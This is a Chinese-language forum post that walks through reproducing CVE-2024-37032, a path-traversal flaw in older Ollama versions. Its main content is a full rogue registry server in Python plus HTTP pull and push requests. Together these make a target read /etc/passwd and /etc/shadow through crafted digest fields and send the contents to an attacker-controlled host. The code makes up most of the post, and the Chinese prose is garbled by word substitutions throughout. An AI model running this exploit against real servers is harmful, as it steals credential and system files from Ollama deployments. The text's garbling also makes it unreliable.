Ollama长途代码实行漏洞(CVE-2024-37032)

打印 上一主题 下一主题

主题 901|帖子 901|积分 2703

0x01简介

Ollama是一个专为在本地情况中运行和定制大型语言模子而设计的工具。它提供了一个简朴高效的接口,用于创建、运行和管理这些模子,同时还提供了一个丰富的预构建模子库,可以轻松集成到各种应用程序中。Ollama的目的是使大型语言模子的部署和交互变得简朴,无论是对于开发者还是对于终端用户。
0x02 漏洞概述

漏洞编号:CVE-2024-37032 该漏洞允许通过路径遍历任意写入文件。digest字段的验证不正确,服务器错误地将有用负载解释为正当的文件路径,攻击者可在digest字段中包罗路径遍历payload的恶意清单文件,利用该漏洞实现任意文件读取/写入或导致长途代码实行。
0x03 影响版本

Ollama < 0.1.34
0x04 情况搭建

在docker内里设置/etc/docker/daemon.json文件,可供拉取国外镜像(没有可新建)
  1. {
  2.   "registry-mirrors": [
  3.    "https://registry.docker-cn.com",
  4.    "http://hub-mirror.c.163.com",
  5.    "https://dockerhub.azk8s.cn",
  6.    "https://mirror.ccs.tencentyun.com",
  7.    "https://registry.cn-hangzhou.aliyuncs.com",
  8.    "https://docker.mirrors.ustc.edu.cn",
  9.    "https://docker.m.daocloud.io",  
  10.    "https://noohub.ru",
  11.    "https://huecker.io",
  12.    "https://dockerhub.timeweb.cloud"
  13.   ]
  14. }
复制代码
拉取docker镜像
  1. docker run -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama:0.1.33
复制代码


进行访问测试

0x05 漏洞复现

查看/etc/passwd

git clone exp
  1. git clone https://github.com/Bi0x/CVE-2024-37032.git
复制代码
在poc.py和server.py中的host变量和target_url和host变量,修改为目的ip,运行server.py后运行poc.py,读取/etc/passwd文件
通过模仿Ollama请求,构造一个恶意模子。在digest字段设置路径穿越payload,代码如下:
  1. from fastapi import FastAPI, Request, Response
  2. HOST = "192.168.244.133"
  3. app = FastAPI()
  4. @app.get("/")
  5. async def index_get():
  6.    return {"message": "Hello rogue server"}
  7. @app.post("/")
  8. async def index_post(callback_data: Request):
  9.    print(await callback_data.body())
  10.    return {"message": "Hello rogue server"}
  11. # for ollama pull
  12. @app.get("/v2/rogue/bi0x/manifests/latest")
  13. async def fake_manifests():
  14.    return {"schemaVersion":2,"mediaType":"application/vnd.docker.distribution.manifest.v2+json","config":{"mediaType":"application/vnd.docker.container.image.v1+json","digest":"../../../../../../../../../../../../../etc/shadow","size":10},"layers":[{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../../../../../../../tmp/notfoundfile","size":10},{"mediaType":"application/vnd.docker.distribution.manifest.v2+json","digest":"../../../../../../../../../../../../../etc/passwd","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":f"../../../../../../../../../../../../../../../../../../../root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest","size":10}]}
  15. @app.head("/etc/passwd")
  16. async def fake_passwd_head(response: Response):
  17.    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../etc/passwd"
  18.    return ''
  19. @app.get("/etc/passwd", status_code=206)
  20. async def fake_passwd_get(response: Response):
  21.    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../etc/passwd"
  22.    response.headers["E-Tag"] = ""../../../../../../../../../../../../../etc/passwd""
  23.    return 'cve-2024-37032-test'
  24. @app.head(f"/root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest")
  25. async def fake_latest_head(response: Response):
  26.    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest"
  27.    return ''
  28. @app.get(f"/root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest", status_code=206)
  29. async def fake_latest_get(response: Response):
  30.    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest"
  31.    response.headers["E-Tag"] = ""../../../../../../../../../../../../../root/.ollama/models/manifests/dev-lan.bi0x.com/rogue/bi0x/latest""
  32.    return {"schemaVersion":2,"mediaType":"application/vnd.docker.distribution.manifest.v2+json","config":{"mediaType":"application/vnd.docker.container.image.v1+json","digest":"../../../../../../../../../../../../../etc/shadow","size":10},"layers":[{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../../../../../../../tmp/notfoundfile","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":"../../../../../../../../../../../../../etc/passwd","size":10},{"mediaType":"application/vnd.ollama.image.license","digest":f"../../../../../../../../../../../../../../../../../../../root/.ollama/models/manifests/{HOST}/rogue/bi0x/latest","size":10}]}
  33. @app.head("/tmp/notfoundfile")
  34. async def fake_notfound_head(response: Response):
  35.    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../tmp/notfoundfile"
  36.    return ''
  37. @app.get("/tmp/notfoundfile", status_code=206)
  38. async def fake_notfound_get(response: Response):
  39.    response.headers["Docker-Content-Digest"] = "../../../../../../../../../../../../../tmp/notfoundfile"
  40.    response.headers["E-Tag"] = ""../../../../../../../../../../../../../tmp/notfoundfile""
  41.    return 'cve-2024-37032-test'
  42. # for ollama push
  43. @app.post("/v2/rogue/bi0x/blobs/uploads/", status_code=202)
  44. async def fake_upload_post(callback_data: Request, response: Response):
  45.    print(await callback_data.body())
  46.    response.headers["Docker-Upload-Uuid"] = "3647298c-9588-4dd2-9bbe-0539533d2d04"
  47.    response.headers["Location"] = f"http://{HOST}/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04?_state=eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D"
  48.    return ''
  49. @app.patch("/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04", status_code=202)
  50. async def fake_patch_file(callback_data: Request):
  51.    print('patch')
  52.    print(await callback_data.body())
  53.    return ''
  54. @app.post("/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04", status_code=202)
  55. async def fake_post_file(callback_data: Request):
  56.    print(await callback_data.body())
  57.    return ''
  58. @app.put("/v2/rogue/bi0x/manifests/latest")
  59. async def fake_manifests_put(callback_data: Request, response: Response):
  60.    print(await callback_data.body())
  61.    response.headers["Docker-Upload-Uuid"] = "3647298c-9588-4dd2-9bbe-0539533d2d04"
  62.    response.headers["Location"] = f"http://{HOST}/v2/rogue/bi0x/blobs/uploads/3647298c-9588-4dd2-9bbe-0539533d2d04?_state=eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D"
  63.    return ''
  64. if __name__ == "__main__":
  65.    import uvicorn
  66.    uvicorn.run(app, host='0.0.0.0', port=80)
复制代码


/api/pull端点将恶意模子载入
  1. POST /api/pull HTTP/1.1
  2. Host: 192.168.244.133:11434
  3. Content-Type: application/json
  4. Content-Length: 54
  5. {
  6.   "name": "192.168.244.133/rogue/bi0x",
  7.   "insecure": true
  8. }
复制代码


通过/api/push端点将此恶意模子推送到长途注册表,服务器将处理构造的manifest文件。
  1. POST /api/push HTTP/1.1
  2. Host: 192.168.244.133:11434
  3. Content-Type: application/json
  4. {
  5.   "name": "192.168.244.133/rogue/bi0x",
  6.   "insecure": true                    
  7. }
复制代码


通过推送后处理,实行读取/etc/passwd文件,windows下运行的server.py

0x06 修复方式

升级至0.1.34以上版本
参考链接

Probllama in Ollama: A tale of a yet another RCE vulnerability (CVE-2024-37032) - vsociety Docker配置国内镜像源 | 从01开始

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

商道如狼道

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表